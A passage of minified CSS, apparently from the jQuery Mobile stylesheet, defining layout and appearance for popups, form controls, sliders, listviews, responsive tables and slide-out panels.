.ui-field-contain textarea.ui-input-text,.ui-popup .ui-field-contain .ui-input-search{width:100%;display:block}}.ui-popup > .ui-btn-left,.ui-popup > .ui-btn-right{position:absolute;top:-9px;margin:0;z-index:1101}.ui-popup > .ui-btn-left{left:-9px}.ui-popup > .ui-btn-right{right:-9px}.ui-popup-hidden{top:-99999px;left:-9999px}.ui-checkbox,.ui-radio{position:relative;clear:both;margin:0;z-index:1}.ui-checkbox .ui-btn,.ui-radio .ui-btn{text-align:left;z-index:2}.ui-controlgroup .ui-checkbox .ui-btn,.ui-controlgroup .ui-radio .ui-btn{margin:0}.ui-checkbox .ui-btn-inner,.ui-radio .ui-btn-inner{white-space:normal}.ui-checkbox .ui-btn-icon-left .ui-btn-inner,.ui-radio .ui-btn-icon-left .ui-btn-inner{padding-left:45px}.ui-checkbox .ui-mini.ui-btn-icon-left .ui-btn-inner,.ui-radio .ui-mini.ui-btn-icon-left .ui-btn-inner{padding-left:36px}.ui-checkbox .ui-btn-icon-right .ui-btn-inner,.ui-radio .ui-btn-icon-right .ui-btn-inner{padding-right:45px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-btn-inner,.ui-radio .ui-mini.ui-btn-icon-right .ui-btn-inner{padding-right:36px}.ui-checkbox .ui-btn-icon-top .ui-btn-inner,.ui-radio .ui-btn-icon-top .ui-btn-inner{padding-right:0;padding-left:0;text-align:center}.ui-checkbox .ui-btn-icon-bottom .ui-btn-inner,.ui-radio .ui-btn-icon-bottom .ui-btn-inner{padding-right:0;padding-left:0;text-align:center}.ui-checkbox .ui-icon,.ui-radio .ui-icon{top:1.1em}.ui-checkbox .ui-btn-icon-left .ui-icon,.ui-radio .ui-btn-icon-left .ui-icon{left:15px}.ui-checkbox .ui-mini.ui-btn-icon-left .ui-icon,.ui-radio .ui-mini.ui-btn-icon-left .ui-icon{left:9px}.ui-checkbox .ui-btn-icon-right .ui-icon,.ui-radio .ui-btn-icon-right .ui-icon{right:15px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-icon,.ui-radio .ui-mini.ui-btn-icon-right .ui-icon{right:9px}.ui-checkbox .ui-btn-icon-top .ui-icon,.ui-radio .ui-btn-icon-top .ui-icon{top:10px}.ui-checkbox .ui-btn-icon-bottom .ui-icon,.ui-radio .ui-btn-icon-bottom .ui-icon{top:auto;bottom:10px}.ui-checkbox .ui-btn-icon-right .ui-icon,.ui-radio .ui-btn-icon-right .ui-icon{right:15px}.ui-checkbox .ui-mini.ui-btn-icon-right .ui-icon,.ui-radio .ui-mini.ui-btn-icon-right .ui-icon{right:9px}.ui-controlgroup-horizontal .ui-checkbox .ui-icon,.ui-controlgroup-horizontal .ui-radio .ui-icon{display:none}.ui-controlgroup-horizontal .ui-checkbox .ui-btn-inner,.ui-controlgroup-horizontal .ui-radio .ui-btn-inner{padding:.6em 20px}.ui-controlgroup-horizontal .ui-checkbox .ui-mini .ui-btn-inner,.ui-controlgroup-horizontal .ui-radio .ui-mini .ui-btn-inner{padding:.55em 11px .5em}.ui-checkbox input,.ui-radio input{position:absolute;left:20px;top:50%;width:10px;height:10px;margin:-5px 0 0 0;outline:0!important;z-index:1}.ui-field-contain,fieldset.ui-field-contain{padding:.8em 0;margin:0;border-width:0 0 1px 0;overflow:visible}.ui-field-contain:last-child{border-bottom-width:0}.ui-field-contain{max-width:100%}@media all and (min-width:28em){.ui-field-contain,.ui-mobile fieldset.ui-field-contain{border-width:0;padding:0;margin:1em 0}}.ui-select{display:block;position:relative}.ui-select select{position:absolute;left:-9999px;top:-9999px}.ui-select .ui-btn{opacity:1}.ui-field-contain .ui-select .ui-btn{margin:0}.ui-select .ui-btn select{cursor:pointer;-webkit-appearance:none;left:0;top:0;width:100%;min-height:1.5em;min-height:100%;height:3em;max-height:100%;filter:Alpha(Opacity=0);opacity:0;z-index:2}.ui-select .ui-disabled{opacity:.3}.ui-select .ui-disabled select{display:none}@-moz-document url-prefix(){.ui-select .ui-btn select{opacity:0.0001}}.ui-select .ui-btn.ui-select-nativeonly{border-radius:0;border:0}.ui-select .ui-btn.ui-select-nativeonly select{opacity:1;text-indent:0;display:block}.ui-select .ui-disabled.ui-select-nativeonly .ui-btn-inner{opacity:0}.ui-select .ui-btn-icon-right .ui-btn-inner,.ui-select .ui-li-has-count .ui-btn-inner{padding-right:45px}.ui-select .ui-mini.ui-btn-icon-right .ui-btn-inner{padding-right:32px}.ui-select .ui-btn-icon-right.ui-li-has-count .ui-btn-inner{padding-right:80px}.ui-select .ui-mini.ui-btn-icon-right.ui-li-has-count .ui-btn-inner{padding-right:67px}.ui-select .ui-btn-icon-right .ui-icon{right:15px}.ui-select .ui-mini.ui-btn-icon-right .ui-icon{right:7px}.ui-select .ui-btn-icon-right.ui-li-has-count .ui-li-count{right:45px}.ui-select .ui-mini.ui-btn-icon-right.ui-li-has-count .ui-li-count{right:32px}label.ui-select{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .3em;display:block}.ui-select .ui-btn-text,.ui-selectmenu .ui-btn-text{display:block;min-height:1em;overflow:hidden!important}.ui-select .ui-btn-text{text-overflow:ellipsis}.ui-selectmenu{padding:6px;min-width:160px}.ui-selectmenu .ui-listview{margin:0}.ui-selectmenu .ui-btn.ui-li-divider{cursor:default}.ui-screen-hidden,.ui-selectmenu-list .ui-li .ui-icon{display:none}.ui-selectmenu-list .ui-li .ui-icon{display:block}.ui-li.ui-selectmenu-placeholder{display:none}.ui-selectmenu .ui-header{margin:0;padding:0}.ui-selectmenu.ui-popup .ui-header{-webkit-border-top-left-radius:0;border-top-left-radius:0;-webkit-border-top-right-radius:0;border-top-right-radius:0}.ui-selectmenu .ui-header .ui-title{margin:0.6em 46px 0.8em}@media all and (min-width:28em){.ui-field-contain label.ui-select{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-select{width:78%;display:inline-block}.ui-hide-label .ui-select{width:100%}}.ui-selectmenu .ui-header h1:after{content:'.';visibility:hidden}label.ui-input-text{font-size:16px;line-height:1.4;display:block;font-weight:normal;margin:0 0 .3em}input.ui-input-text,textarea.ui-input-text{background-image:none;padding:.4em;margin:.5em 0;min-height:1.4em;line-height:1.4em;font-size:16px;display:block;width:100%;outline:0}input.ui-mini,.ui-mini input,textarea.ui-mini{font-size:14px}div.ui-input-text input.ui-input-text,div.ui-input-text textarea.ui-input-text,.ui-input-search input.ui-input-text{border:none;/*width:100%;padding:.4em 0;*/margin:0;display:block;/*background:transparent none;*/outline:0!important}.ui-input-search,div.ui-input-text{margin:.5em 0;background-image:none;position:relative}.ui-input-search{padding:0 30px}div.ui-input-text{padding:0 .4em}div.ui-input-has-clear{padding:0 30px 0 .4em}input.ui-input-text.ui-mini,textarea.ui-input-text.ui-mini,.ui-input-search.ui-mini,div.ui-input-text.ui-mini{margin:.25em 0}.ui-field-contain input.ui-input-text,.ui-field-contain textarea.ui-input-text,.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{margin:0}textarea.ui-input-text{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}input.ui-input-text{-webkit-appearance:none}textarea.ui-input-text{height:50px;-webkit-transition:height 200ms linear;-moz-transition:height 200ms linear;-o-transition:height 200ms linear;transition:height 200ms linear}textarea.ui-mini{height:45px}.ui-icon-searchfield:after{position:absolute;left:7px;top:50%;margin-top:-9px;content:"";width:18px;height:18px;opacity:.5}.ui-input-search .ui-input-clear,.ui-input-text .ui-input-clear{position:absolute;right:0;top:50%;margin-top:-13px}.ui-mini .ui-input-clear{margin-top:-14px;right:-3px}.ui-input-search .ui-input-clear-hidden,.ui-input-text .ui-input-clear-hidden{display:none}input::-moz-placeholder,textarea::-moz-placeholder{color:#aaa}input[type=number]::-webkit-outer-spin-button{margin:0}@media all and (min-width:28em){.ui-field-contain label.ui-input-text{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain input.ui-input-text,.ui-field-contain textarea.ui-input-text,.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{width:78%;display:inline-block}.ui-field-contain .ui-input-search,.ui-field-contain div.ui-input-text{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-hide-label input.ui-input-text,.ui-hide-label textarea.ui-input-text,.ui-hide-label .ui-input-search,.ui-hide-label div.ui-input-text,.ui-input-search input.ui-input-text,div.ui-input-text input.ui-input-text{/*width:100%*/}}.ui-rangeslider{zoom:1;margin:0}.ui-rangeslider:before,.ui-rangeslider:after{content:"";display:table}.ui-rangeslider:after{clear:both}.ui-rangeslider input.ui-input-text.ui-slider-input{margin:.57143em 0}.ui-rangeslider.ui-mini input.ui-slider-input{margin:.28571em 0}.ui-rangeslider input.ui-slider-input.ui-rangeslider-last{float:right}.ui-rangeslider .ui-rangeslider-sliders{position:relative;overflow:visible;height:30px;margin:.5em 68px}.ui-rangeslider.ui-mini .ui-rangeslider-sliders{margin:.25em 68px}.ui-field-contain .ui-rangeslider input.ui-slider-input,.ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input,.ui-field-contain .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders{margin-top:0;margin-bottom:0}.ui-rangeslider .ui-rangeslider-sliders .ui-slider-track{position:absolute;top:6px;right:0;left:0;margin:0}.ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track{top:8px}.ui-rangeslider .ui-slider-track:first-child .ui-slider-bg{display:none}.ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child{background-color:transparent;background:none;border-width:0;height:0}html >body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child{height:12px}@media all and (min-width:28em){.ui-field-contain .ui-rangeslider label.ui-slider{float:left}.ui-field-contain .ui-rangeslider input.ui-slider-input{position:relative;z-index:1}.ui-field-contain .ui-rangeslider input.ui-slider-input.ui-rangeslider-first,.ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input.ui-rangeslider-first{margin-right:17px}.ui-field-contain .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders{float:left;width:78%;margin:0 -68px}.ui-field-contain .ui-rangeslider .ui-slider-track,.ui-field-contain .ui-rangeslider.ui-mini .ui-slider-track{right:68px;left:68px}.ui-field-contain.ui-hide-label .ui-rangeslider input.ui-slider-input.ui-rangeslider-first{margin:0}.ui-field-contain.ui-hide-label .ui-rangeslider .ui-rangeslider-sliders,.ui-field-contain.ui-hide-label .ui-rangeslider.ui-mini .ui-rangeslider-sliders{width:auto;float:none;margin:0 68px}.ui-field-contain.ui-hide-label .ui-rangeslider .ui-slider-track,.ui-field-contain.ui-hide-label .ui-rangeslider.ui-mini .ui-slider-track{right:0;left:0}}.ui-listview{margin:0}ol.ui-listview,ol.ui-listview .ui-li-divider{counter-reset:listnumbering}.ui-content .ui-listview,.ui-panel-inner > .ui-listview{margin:-15px}.ui-collapsible-content > .ui-listview{margin:-10px -15px}.ui-content .ui-listview-inset,.ui-panel-inner .ui-listview-inset{margin:1em 0}.ui-collapsible-content .ui-listview-inset{margin:.5em 0}.ui-listview,.ui-li{list-style:none;padding:0}.ui-li,.ui-li.ui-field-contain{display:block;margin:0;position:relative;overflow:visible;text-align:left;border-width:0;border-top-width:1px}.ui-li.ui-btn,.ui-li.ui-field-contain,.ui-li-divider,.ui-li-static{margin:0}.ui-listview-inset .ui-li{border-right-width:1px;border-left-width:1px}.ui-li.ui-last-child,.ui-li.ui-field-contain.ui-last-child{border-bottom-width:1px}.ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > .ui-li.ui-first-child{border-top-width:0}.ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > .ui-li.ui-last-child{border-bottom-width:0}.ui-li .ui-btn-text a.ui-link-inherit{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-static{background-image:none}.ui-li-divider{padding:.5em 15px;font-size:14px;font-weight:bold}ol.ui-listview .ui-link-inherit:before,ol.ui-listview .ui-li-static:before,.ui-li-dec{font-size:.8em;display:inline-block;padding-right:.3em;font-weight:normal;counter-increment:listnumbering;content:counter(listnumbering) ". "}ol.ui-listview .ui-li-jsnumbering:before{content:""!important}.ui-listview > .ui-li.ui-first-child,.ui-listview .ui-btn.ui-first-child > .ui-li > .ui-btn-text > .ui-link-inherit{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-listview > .ui-li.ui-last-child,.ui-listview .ui-btn.ui-last-child > .ui-li > .ui-btn-text > .ui-link-inherit,.ui-collapsible-content > .ui-listview:not(.ui-listview-inset),.ui-collapsible-content > .ui-listview:not(.ui-listview-inset) .ui-li.ui-last-child{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-listview > .ui-li.ui-first-child .ui-li-link-alt{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-listview > .ui-li.ui-last-child .ui-li-link-alt{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-listview > .ui-li.ui-first-child .ui-li-thumb:not(.ui-li-icon){-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-listview > .ui-li.ui-last-child .ui-li-thumb:not(.ui-li-icon){-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-li>.ui-btn-inner{display:block;position:relative;padding:0}.ui-li .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li{padding:.7em 15px;display:block}.ui-li-has-thumb .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-thumb{min-height:59px;padding-left:100px}.ui-li-has-icon .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-icon{min-height:20px;padding-left:40px}.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-count,.ui-li-divider.ui-li-has-count{padding-right:45px}.ui-li-has-arrow .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-arrow{padding-right:40px}.ui-li-has-arrow.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-arrow.ui-li-has-count{padding-right:75px}.ui-li-heading{font-size:16px;font-weight:bold;display:block;margin:.6em 0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-desc{font-size:12px;font-weight:normal;display:block;margin:-.5em 0 .6em;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ui-li-thumb,.ui-listview .ui-li-icon{position:absolute;left:1px;top:0;max-height:80px;max-width:80px}.ui-listview .ui-li-icon{max-height:16px;max-width:16px;left:10px;top:.9em}.ui-li-thumb,.ui-listview .ui-li-icon,.ui-li-content{float:left;margin-right:10px}.ui-li-aside{float:right;width:50%;text-align:right;margin:.3em 0}@media all and (min-width:480px){.ui-li-aside{width:45%}}.ui-li-divider{cursor:default}.ui-li-has-alt .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-alt{padding-right:53px}.ui-li-has-alt.ui-li-has-count .ui-btn-inner a.ui-link-inherit,.ui-li-static.ui-li-has-alt.ui-li-has-count{padding-right:88px}.ui-li-has-count .ui-li-count{position:absolute;font-size:11px;font-weight:bold;padding:.2em .5em;top:50%;margin-top:-.9em;right:10px}.ui-li-has-count.ui-li-divider .ui-li-count,.ui-li-has-count .ui-link-inherit .ui-li-count{margin-top:-.95em}.ui-li-has-arrow.ui-li-has-count .ui-li-count{right:40px}.ui-li-has-alt.ui-li-has-count .ui-li-count{right:53px}.ui-li-link-alt{position:absolute;width:40px;height:100%;border-width:0;border-left-width:1px;top:0;right:0;margin:0;padding:0;z-index:2}.ui-li-link-alt .ui-btn{overflow:hidden;position:absolute;right:8px;top:50%;margin:-13px 0 0 0;border-bottom-width:1px;z-index:-1}.ui-li-link-alt .ui-btn-inner{padding:0;height:100%;position:absolute;width:100%;top:0;left:0}.ui-li-link-alt .ui-btn .ui-icon{right:50%;margin-right:-9px}.ui-li-link-alt .ui-btn-icon-notext .ui-btn-inner .ui-icon{position:absolute;top:50%;margin-top:-9px}.ui-listview * .ui-btn-inner > .ui-btn > .ui-btn-inner{border-top:0}.ui-listview-filter{border-width:0;overflow:hidden;margin:-15px -15px 15px -15px}.ui-collapsible-content .ui-listview-filter{margin:-10px -15px 10px -15px;border-bottom:inherit}.ui-listview-filter-inset{margin:-15px -5px;background:transparent}.ui-collapsible-content .ui-listview-filter-inset{margin:-5px;border-bottom-width:0}.ui-listview-filter .ui-input-search{margin:5px;width:auto;display:block}.ui-li.ui-screen-hidden{display:none}@media only screen and (min-device-width:768px) and (max-device-width:1024px){.ui-li .ui-btn-text{overflow:visible}}label.ui-slider{font-size:16px;line-height:1.4;font-weight:normal;margin:0;display:block}.ui-field-contain label.ui-slider{margin-bottom:.4em}div.ui-slider{height:30px;margin:.5em 0;zoom:1}div.ui-slider.ui-mini{margin:.25em 0}.ui-field-contain div.ui-slider,.ui-field-contain div.ui-slider.ui-mini{margin:0}div.ui-slider:before,div.ui-slider:after{content:"";display:table}div.ui-slider:after{clear:both}input.ui-input-text.ui-slider-input{display:block;float:left;margin:0;padding:4px;width:40px;height:22px;line-height:22px;font-size:14px;border:none;background-image:none;font-weight:bold;text-align:center;vertical-align:text-bottom;outline:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;-ms-box-sizing:content-box;box-sizing:content-box}.ui-slider-input::-webkit-outer-spin-button,.ui-slider-input::-webkit-inner-spin-button{-webkit-appearance:none;margin:0}.ui-slider-track,.ui-slider-switch{position:relative;overflow:visible;height:15px;margin:0 15px 0 68px;top:6px}.ui-slider-track.ui-mini{height:12px;top:8px}.ui-slider-bg{border:none;height:100%}.ui-slider-track .ui-btn.ui-slider-handle,.ui-slider-switch .ui-btn.ui-slider-handle{position:absolute;z-index:1;top:50%;width:28px;height:28px;margin:-15px 0 0 -15px;outline:0}.ui-slider-track.ui-mini .ui-slider-handle{height:14px;width:14px;margin:-8px 0 0 -7px}.ui-slider-handle .ui-btn-inner{padding:0;height:100%}.ui-slider-track.ui-mini .ui-slider-handle .ui-btn-inner{height:30px;width:30px;padding:0;margin:-9px 0 0 -9px;border-top:none}select.ui-slider-switch{display:none}div.ui-slider-switch{display:inline-block;height:32px;width:5.8em;margin:.5em 0;top:0}div.ui-slider-switch.ui-mini{width:5em;height:29px;margin:.25em 0;top:0}.ui-field-contain .ui-slider-switch,.ui-field-contain .ui-slider-switch.ui-mini{margin:0}.ui-slider-inneroffset{margin:0 16px;position:relative;z-index:1}.ui-slider-switch.ui-mini .ui-slider-inneroffset{margin:0 15px 0 14px}.ui-slider-switch .ui-btn.ui-slider-handle{margin:1px 0 0 -15px}.ui-slider-switch.ui-mini .ui-slider-handle{width:25px;height:25px;margin:1px 0 0 -13px;padding:0}.ui-slider-handle-snapping{-webkit-transition:left 70ms linear;-moz-transition:left 70ms linear}.ui-slider-switch.ui-mini .ui-slider-handle .ui-btn-inner{height:30px;width:30px;padding:0;margin:0;border-top:none}.ui-slider-switch .ui-slider-label{position:absolute;text-align:center;width:100%;overflow:hidden;font-size:16px;top:0;line-height:2;min-height:100%;border-width:0;white-space:nowrap;cursor:pointer}.ui-slider-switch.ui-mini .ui-slider-label{font-size:14px}.ui-slider-switch .ui-slider-label-a{z-index:1;left:0;text-indent:-1.5em}.ui-slider-switch .ui-slider-label-b{z-index:0;right:0;text-indent:1.5em}@media all and (min-width:28em){.ui-field-contain label.ui-slider{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain div.ui-slider{display:inline-block;width:78%}.ui-field-contain.ui-hide-label div.ui-slider{display:block;width:auto}.ui-field-contain div.ui-slider-switch,.ui-field-contain.ui-hide-label div.ui-slider-switch{display:inline-block;width:5.8em}.ui-field-contain div.ui-slider-switch.ui-mini{width:5em}}.ui-table{border:0;border-collapse:collapse;padding:0;width:100%}.ui-table th,.ui-table td{line-height:1.5em;text-align:left;padding:.4em .5em;vertical-align:top}.ui-table th .ui-btn,.ui-table td .ui-btn{line-height:normal}.ui-table th{font-weight:bold}.ui-table caption{text-align:left;margin-bottom:1.4em;opacity:.5}.table-stroke thead th{border-bottom:1px solid #d6d6d6;border-bottom:1px solid rgba(0,0,0,.1)}.table-stroke tbody th,.table-stroke tbody td{border-bottom:1px solid #e6e6e6;border-bottom:1px solid rgba(0,0,0,.05)}.table-stripe tbody tr:nth-child(odd) td,.table-stripe tbody tr:nth-child(odd) th{background-color:#eee;background-color:rgba(0,0,0,0.04)}.table-stripe thead th,.table-stripe tbody tr:last-child{border-bottom:1px solid #d6d6d6;border-bottom:1px solid rgba(0,0,0,.1)}.ui-table-columntoggle-btn{float:right;margin-bottom:.8em}.ui-table-columntoggle-popup fieldset{margin:0}@media only all{th.ui-table-priority-6,td.ui-table-priority-6,th.ui-table-priority-5,td.ui-table-priority-5,th.ui-table-priority-4,td.ui-table-priority-4,th.ui-table-priority-3,td.ui-table-priority-3,th.ui-table-priority-2,td.ui-table-priority-2,th.ui-table-priority-1,td.ui-table-priority-1{display:none}}@media screen and (min-width:20em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-1,.ui-table-columntoggle.ui-responsive td.ui-table-priority-1{display:table-cell}}@media screen and (min-width:30em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-2,.ui-table-columntoggle.ui-responsive td.ui-table-priority-2{display:table-cell}}@media screen and (min-width:40em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-3,.ui-table-columntoggle.ui-responsive td.ui-table-priority-3{display:table-cell}}@media screen and (min-width:50em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-4,.ui-table-columntoggle.ui-responsive td.ui-table-priority-4{display:table-cell}}@media screen and (min-width:60em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-5,.ui-table-columntoggle.ui-responsive td.ui-table-priority-5{display:table-cell}}@media screen and (min-width:70em){.ui-table-columntoggle.ui-responsive th.ui-table-priority-6,.ui-table-columntoggle.ui-responsive td.ui-table-priority-6{display:table-cell}}.ui-table-columntoggle th.ui-table-cell-hidden,.ui-table-columntoggle td.ui-table-cell-hidden,.ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden,.ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden{display:none}.ui-table-columntoggle th.ui-table-cell-visible,.ui-table-columntoggle td.ui-table-cell-visible,.ui-table-columntoggle.ui-responsive th.ui-table-cell-visible,.ui-table-columntoggle.ui-responsive td.ui-table-cell-visible{display:table-cell}.ui-table-reflow td .ui-table-cell-label,.ui-table-reflow th .ui-table-cell-label{display:none}@media only all{.ui-table-reflow thead td,.ui-table-reflow thead th{display:none}.ui-table-reflow td,.ui-table-reflow th{text-align:left;display:block}.ui-table-reflow tbody th{margin-top:3em}.ui-table-reflow td .ui-table-cell-label,.ui-table-reflow th .ui-table-cell-label{display:block;padding:.4em;min-width:30%;display:inline-block;margin:-.4em 1em -.4em -.4em}.ui-table-reflow th .ui-table-cell-label-top,.ui-table-reflow td .ui-table-cell-label-top{display:block;padding:.4em 0;margin:.4em 0;text-transform:uppercase;font-size:.9em;font-weight:normal}}@media ( min-width:35em ){.ui-table-reflow.ui-responsive{display:table-row-group}.ui-table-reflow.ui-responsive td,.ui-table-reflow.ui-responsive th,.ui-table-reflow.ui-responsive tbody th,.ui-table-reflow.ui-responsive tbody td,.ui-table-reflow.ui-responsive thead td,.ui-table-reflow.ui-responsive thead th{display:table-cell;margin:0}.ui-table-reflow.ui-responsive td .ui-table-cell-label,.ui-table-reflow.ui-responsive th .ui-table-cell-label{display:none}}@media ( max-width:35em ){.ui-table-reflow.ui-responsive td,.ui-table-reflow.ui-responsive th{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;clear:left}}.ui-panel{width:17em;min-height:100%;border-width:0;position:absolute;top:0;display:block}.ui-panel-closed{width:0;overflow:hidden}.ui-panel-fixed{position:fixed;bottom:-1px;padding-bottom:1px}.ui-panel-display-overlay{z-index:1001}.ui-panel-display-reveal{z-index:0}.ui-panel-display-push{z-index:999}.ui-panel-inner{padding:15px}.ui-panel-content-wrap{position:relative;left:0;min-height:inherit;border:none;z-index:999}.ui-panel-content-wrap-display-overlay,.ui-panel-animate.ui-panel-content-wrap > .ui-header,.ui-panel-content-wrap-closed{position:static}.ui-panel-dismiss{position:absolute;top:0;left:0;height:100%;width:100%;z-index:1002;display:none}.ui-panel-dismiss-open{display:block}.ui-panel-animate{-webkit-transition:-webkit-transform 350ms ease;-moz-transition:-moz-transform 350ms ease;transition:transform 350ms ease}.ui-panel-animate.ui-panel:not(.ui-panel-display-reveal),.ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) > div,.ui-panel-animate.ui-panel-content-wrap,.ui-panel-animate.ui-panel-content-fixed-toolbar{-webkit-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0)}.ui-panel-position-left{left:-17em}.ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-left.ui-panel-display-push{left:0;-webkit-transform:translate3d(-17em,0,0);-moz-transform:translate3d(-17em,0,0);transform:translate3d(-17em,0,0)}.ui-panel-position-left.ui-panel-display-reveal,.ui-panel-position-left.ui-panel-open{left:0}.ui-panel-animate.ui-panel-position-left.ui-panel-open.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-left.ui-panel-open.ui-panel-display-push{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui-panel-position-right{right:-17em}.ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-right.ui-panel-display-push{right:0;-webkit-transform:translate3d(17em,0,0);-moz-transform:translate3d(17em,0,0);transform:translate3d(17em,0,0)}.ui-panel-position-right.ui-panel-display-reveal,.ui-panel-position-right.ui-panel-open{right:0}.ui-panel-animate.ui-panel-position-right.ui-panel-open.ui-panel-display-overlay,.ui-panel-animate.ui-panel-position-right.ui-panel-open.ui-panel-display-push{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open,.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open,.ui-panel-dismiss-position-left.ui-panel-dismiss-open{left:17em;right:-17em}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-reveal,.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push,.ui-panel-animate.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open.ui-panel-content-wrap-display-reveal,.ui-panel-animate.ui-panel-content-wrap-position-left.ui-panel-content-wrap-open.ui-panel-content-wrap-display-push{left:0;right:0;-webkit-transform:translate3d(17em,0,0);-moz-transform:translate3d(17em,0,0);transform:translate3d(17em,0,0)}.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open,.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open,.ui-panel-dismiss-position-right.ui-panel-dismiss-open{left:-17em;right:17em}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-reveal,.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push,.ui-panel-animate.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open.ui-panel-content-wrap-display-reveal,.ui-panel-animate.ui-panel-content-wrap-position-right.ui-panel-content-wrap-open.ui-panel-content-wrap-display-push{left:0;right:0;-webkit-transform:translate3d(-17em,0,0);-moz-transform:translate3d(-17em,0,0);transform:translate3d(-17em,0,0)}.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-overlay,.ui-panel-content-wrap-open.ui-panel-content-wrap-display-overlay{left:0}.ui-page-active.ui-page-panel{overflow-x:hidden}.ui-panel-display-reveal{-webkit-box-shadow:inset -5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:inset -5px 0 5px rgba(0,0,0,.15);box-shadow:inset -5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-right.ui-panel-display-reveal{-webkit-box-shadow:inset 5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:inset 5px 0 5px rgba(0,0,0,.15);box-shadow:inset 5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-right.ui-panel-display-overlay{-webkit-box-shadow:-5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:-5px 0 5px rgba(0,0,0,.15);box-shadow:-5px 0 5px rgba(0,0,0,.15)}.ui-panel-position-left.ui-panel-display-overlay{-webkit-box-shadow:5px 0 5px rgba(0,0,0,.15);-moz-box-shadow:5px 0 5px rgba(0,0,0,.15);box-shadow:5px 0 5px rgba(0,0,0,.15)}.ui-panel-display-push.ui-panel-open.ui-panel-position-left{border-right-width:1px;margin-right:-1px}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-left.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push{margin-left:1px}.ui-panel-display-push.ui-panel-open.ui-panel-position-right{border-left-width:1px;margin-left:-1px}.ui-panel-animate.ui-panel-content-fixed-toolbar-position-right.ui-panel-content-fixed-toolbar-open.ui-panel-content-fixed-toolbar-display-push{margin-right:1px}@media (min-width:55em){.ui-responsive-panel.ui-page-panel-open 